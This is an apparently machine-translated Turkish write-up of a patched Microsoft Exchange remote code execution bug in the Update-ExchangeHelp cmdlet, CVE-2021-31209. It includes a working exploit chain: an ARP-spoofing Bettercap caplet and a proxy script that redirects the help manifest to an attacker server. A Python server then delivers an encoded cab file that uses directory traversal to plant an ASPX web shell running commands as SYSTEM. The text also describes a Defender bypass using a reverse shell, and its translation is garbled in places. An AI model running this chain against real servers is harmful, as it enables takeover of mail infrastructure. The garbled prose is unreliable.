Kasım 2020’nin ortalarında, Microsoft Exchange Server’da tuhaf bir yapıya sahip bir mantıksal uzaktan kod yürütme güvenlik açığı keşfettim; tetiklenmeden önce bir morpheus in the middle (MiTM) saldırısının gerçekleşmesi gerekiyordu. Bu hatayı buldum çünkü aramaları arıyordum WebClient.DownloadFile
Exchange sunucusundaki bazı ortamlarda bu tür bir güvenlik açığının büyük etkisi olabileceğinden, sunucu tarafı istek sahteciliği güvenlik açığını keşfetme umuduyla. Daha sonra SharePoint Server’ın da temelde aynı kod kalıbından etkilendiğini öğrendim.
TL; DR; Bu gönderi, Pwn2Own Vancouver 2021’de Microsoft Exchange Server girişini kısmen kazanmak için kullandığım güvenlik açığının kısa bir dökümüdür.
Güvenlik Açığı Özeti
MiTM saldırısı gibi ayrıcalıklı bir ağ konumundaki kimliği doğrulanmamış bir saldırgan, yönetici bir kullanıcı kodu çalıştırdığında uzaktan kod yürütme güvenlik açığını tetikleyebilir. Update-ExchangeHelp
veya Update-ExchangeHelp -Force
Exchange Yönetim Kabuğu’ndaki komut.
Güvenlik Açığı Analizi
İçinde Microsoft.Exchange.Management.dll
dosyalamak Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand
sınıf tanımlandı:
protected override void InternalProcessRecord()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
ex = this.helpUpdater.UpdateHelp(); // 1
}
//...
Şu tarihte: [1] kod şunu çağırır: HelpUpdater.UpdateHelp
yöntem. İçinde Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater
gördüğümüz sınıf:
internal UpdatableExchangeHelpSystemException UpdateHelp()
{
double num = 90.0;
UpdatableExchangeHelpSystemException result = null;
this.ProgressNumerator = 0.0;
if (this.Cmdlet.Force || this.DownloadThrottleExpired())
{
try
{
this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string path = this.LocalTempBase + "UpdateHelp.$$$\\";
this.CleanDirectory(path);
this.EnsureDirectory(path);
HelpDownloader helpDownloader = new HelpDownloader(this);
helpDownloader.DownloadManifest(); // 2
Bu işlev birkaç eylemi gerçekleştirir. İlki şurada [2] Ne zaman DownloadManifest
denir. Hadi bir göz atalım Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest
:
internal void DownloadManifest()
{
string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
if (!this.helpUpdater.Cmdlet.Abort)
{
this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted)); // 3
}
}
Şu tarihte: [3] kod çağırıyor AsyncDownloadFile
kullanarak ManifestUrl
. ManifestUrl
ne zaman ayarlanır LoadConfiguration
yöntem çağrılır InternalValidate
:
protected override void InternalValidate()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
this.helpUpdater.LoadConfiguration(); // 4
}
internal void LoadConfiguration()
{
//...
RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
if (registryKey3 == null)
{
registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
}
if (registryKey3 != null)
{
try
{
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString(); // 5
Şu tarihte: [4] kod çağrıları LoadConfiguration
cmdlet’teki argümanların doğrulanması sırasında. Bu, ManifestUrl
ile http://go.microsoft.com/fwlink/p/?LinkId=287244
kayıt defteri kovanında yoksa: HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp
en [5]. Varsayılan olarak, değer her zaman böyle olmaz http://go.microsoft.com/fwlink/p/?LinkId=287244
.
Geri dön AsyncDownloadFile
en [3] bu yöntemi kullanacak WebClient.DownloadFileAsync
Dosya sistemine bir dosya indirmek için API. Yerel dosya yolunu kontrol edemediğimiz için burada bir güvenlik açığı yok. Daha sonra UpdateHelp
aşağıdaki kodu görüyoruz:
//...
if (!this.Cmdlet.Abort)
{
UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
if (updatableHelpVersionRange != null)
{
double num2 = 20.0;
this.ProgressNumerator = 10.0;
this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
if (array.Length != 0) // 7
{
this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl); // 8
if (this.Cmdlet.Abort)
{
return result;
}
this.ProgressNumerator += num2;
this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
helpInstaller.ExtractToTemp(); // 9
//...
Burada açılacak çok şey var (kelime oyunu için kusura bakmayın). Şu tarihte: [6] kod, indirilen manifest dosyasında belirli bir sürüm veya sürüm aralığını arar ve Exchange sunucusu sürümünün bu aralıkta kalmasını sağlar. Kontrol aynı zamanda yeni revizyon numarasının mevcut revizyon numarasından yüksek olmasını da sağlar. Bu gereksinimler karşılanırsa kod şu aşamaya geçer: [7] kültürün kontrol edildiği yer. İngilizce dil paketini hedeflediğim için bunu şu şekilde ayarladım: en
böylece daha sonra geçerli bir yol oluşturulabilir. sonra [8] the CabinetUrl
indirilir ve saklanır. Bu, xml bildirim dosyasında belirtilen bir .cab dosyasıdır.
Sonunda [9] cab dosyası kullanılarak çıkarılır Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp
yöntem:
internal int ExtractToTemp()
{
this.filesAffected = 0;
this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
bool embedded = false;
string filter = "";
int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded); // 10
this.cabinetFiles = new Dictionary<string, List<string>>();
this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
this.filesAffected = result;
return result;
}
Şu tarihte: [10] kod çağrıları Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles
itibaren Microsoft.Exchange.CabUtility.dll
dışa aktarılan işlevle kabin dosyalarını ayıklamak için yerel kod içeren bir karışım modu derlemesidir ExtractCab
. Ne yazık ki, bu ayrıştırıcı, dosyaların bir dizin geçişi içermediğini doğrulamak için çıkarmadan önce bir geri çağırma işlevini kaydetmez. Bu, rastgele konumlara rastgele dosyalar yazmamı sağladı.
Sömürü
Dosya yazma güvenlik açığı mutlaka uzaktan kod yürütülmesi anlamına gelmez, ancak web uygulamaları bağlamında bu oldukça sıktır. Pwn2Own’da sunduğum saldırı şunu yazdı: C:/inetpub/wwwroot/aspnet_client
dizini ve bu, kabuğun kimlik doğrulaması olmadan SİSTEM olarak isteğe bağlı kodu yürütmesi için http isteğinde bulunmamı sağladı.
Saldırıyı görselleştirebilmemiz için kurulumu gözden geçirelim.
Kurmak
İlk adım, hedef sisteme karşı bir ARP sahtekarlığı yapmanızı gerektirecektir. Bu aşamada kendi kendini otomatikleştirebilen caplet’leri tanımlamanıza olanak tanıyan Bettercap’i kullanmayı seçiyorum. Sanırım en son hedefli bir MiTM saldırısı yaptığımda 12 Yıllar önce! İşte benim içeriğim poc.cap
Belirli http isteklerini engellemek ve bunlara yanıt vermek için ARP sahtekarlığını ve bir proxy komut dosyasını ayarlayan dosya:
set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on
poc.js
dosya, hedefin isteğini engellemek ve bunu saldırganın barındırdığı yapılandırma dosyasına yönlendirmek için yazdığım proxy betiğidir. http://192.168.0.56:8000/poc.xml
.
function onLoad() {
log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
log_info("Found by Steven Seeley of Source Incite")
}
function onRequest(req, res) {
log_info("(+) triggering mitm");
var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
res.Status = 302;
res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
}
}
Bu poc.xml
manifest dosyası şunları içerir: CabinetUrl
kötü amaçlı cab dosyasını birlikte barındırıyor Version
güncellemenin hedeflediği aralık:
15.2.1.1-15.2.999.9
1
en
http://192.168.0.56:8000/poc.cab
Bildiriyi paketledim ve poc.cab
küçük bir python http sunucusuna dosya teslim işlemi, poc.py
bu aynı zamanda şuraya erişmeyi deneyecektir: poc.aspx
SYSTEM olarak yürütülecek komutu içeren dosya:
import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CabRequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("poc.xml"):
print("(+) delivering xml file...")
xml = """
15.2.1.1-15.2.999.9
%s
en
http://%s:8000/poc.cab
""" % (r, s)
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
elif self.path.endswith("poc.cab"):
print("(+) delivering cab file...")
# created like: makecab /d "CabinetName1=poc.cab" /f files.txt
# files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
# poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
p = base64.b64decode(stage_2.encode('utf-8'))
self.send_response(200)
self.send_header('Content-Type', 'application/x-cab')
self.send_header("Content-Length", len(p))
self.end_headers()
self.wfile.write(p)
return
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s " % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
sys.exit(-1)
t = sys.argv[1]
s = sys.argv[2]
port = 8000
r = sys.argv[3]
c = sys.argv[4]
print("(+) server bound to port %d" % port)
print("(+) targeting: %s using cmd: %s" % (t, c))
httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
p = { "c" : "/c %s" % c }
try:
while 1:
req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
if req.status_code == 200:
break
print("(+) executed %s as SYSTEM!" % c)
except KeyboardInterrupt:
pass
Her saldırı girişiminde, Revision
Kod, değeri kayıt defterine yazacağı ve bildirim dosyasını indirdikten sonra dosyanın daha yüksek bir değer içerdiğini doğrulayacağı için sayının artırılması gerekiyor. Revision
Cab dosyasını indirmeye ve çıkarmaya devam etmeden önce numarayı girin.
Windows Defender’ı Atlamak
Yürütme mspaint
harika falan ama Pwn2Own için Defender bypass’ına ihtiyacımız vardı. pop thy shell
. Sonrasında Turuncu Tsai ProxyLogin istismarının ayrıntılarını gizledikten sonra Microsoft, asp.net web kabuklarını tespit etmeye karar verdi. Bu yüzden, ters kabuk çalıştıran özel bir ikili dosya derleyerek ve onu diske bırakarak ve onu yan adım Defender’da çalıştırarak Orange’dan farklı bir yol izledim.
Örnek Saldırı
Bettercap’i şu şekilde çalıştırarak başlıyoruz: poc.cap
caplet dosyası:
researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]
[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)
Şimdi hedefe ping atıyoruz (önbelleğe alınmış hedeflerin Arp tablosunu güncellemek için) ve poc.py
ve yönetici kullanıcının çalışmasını bekleyin Update-ExchangeHelp
veya Update-ExchangeHelp -Force
Exchange Yönetim Konsolu’nda (EMC) (-Force
eğer gereklidir Update-ExchangeHelp
komut son 24 saat içinde çalıştırıldı):
researcher@pluto:~/poc-exchange$ ./poc.py
(+) usage: ./poc.py
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"
researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!
Çözüm
Bu, Pwn2Own’da bir MiTM saldırısının kullanıldığı ilk sefer değil ve yarışmadaki diğer araştırmacılarla çakışmayan bir güvenlik açığı bulmak güzeldi. Bu ancak Exchange Server içindeki güvenlik açıklarını tespit etmek için yeni bir vektör ve/veya yüzey bulunmasıyla mümkün oldu. Mantıksal güvenlik açıkları her zaman ilgi çekicidir çünkü bu neredeyse her zaman kötüye kullanım anlamına gelir ve aynı sorunları geleneksel otomatikleştirilmiş araçlarla keşfetmek çok zordur. Tüm web güvenlik açıklarının aslında doğası gereği mantıklı olduğu ileri sürülüyor. Web tabanlı enjeksiyon güvenlik açıkları bile, belleğin manipülasyonunu gerektirmediğinden ve saldırı geçici olarak tekrarlanabildiğinden.
EMC, SİSTEM olarak çalışacak şekilde yapılandırılmış IIS hizmetine PS-Remoting aracılığıyla bağlandığından, bu güvenlik açığının Exchange sunucusundaki etkisi oldukça yüksektir. SharePoint Yönetim Kabuğu’nun (SMS) doğrudan etkilendiği ve SMS’i çalıştıran kullanıcı olarak kod yürütülmesinin sağlandığı SharePoint Server için durum böyle değildir.
Microsoft bu soruna CVE-2021-31209 yamasını ekledi ve henüz yapmadıysanız yamayı hemen dağıtmanızı öneririz.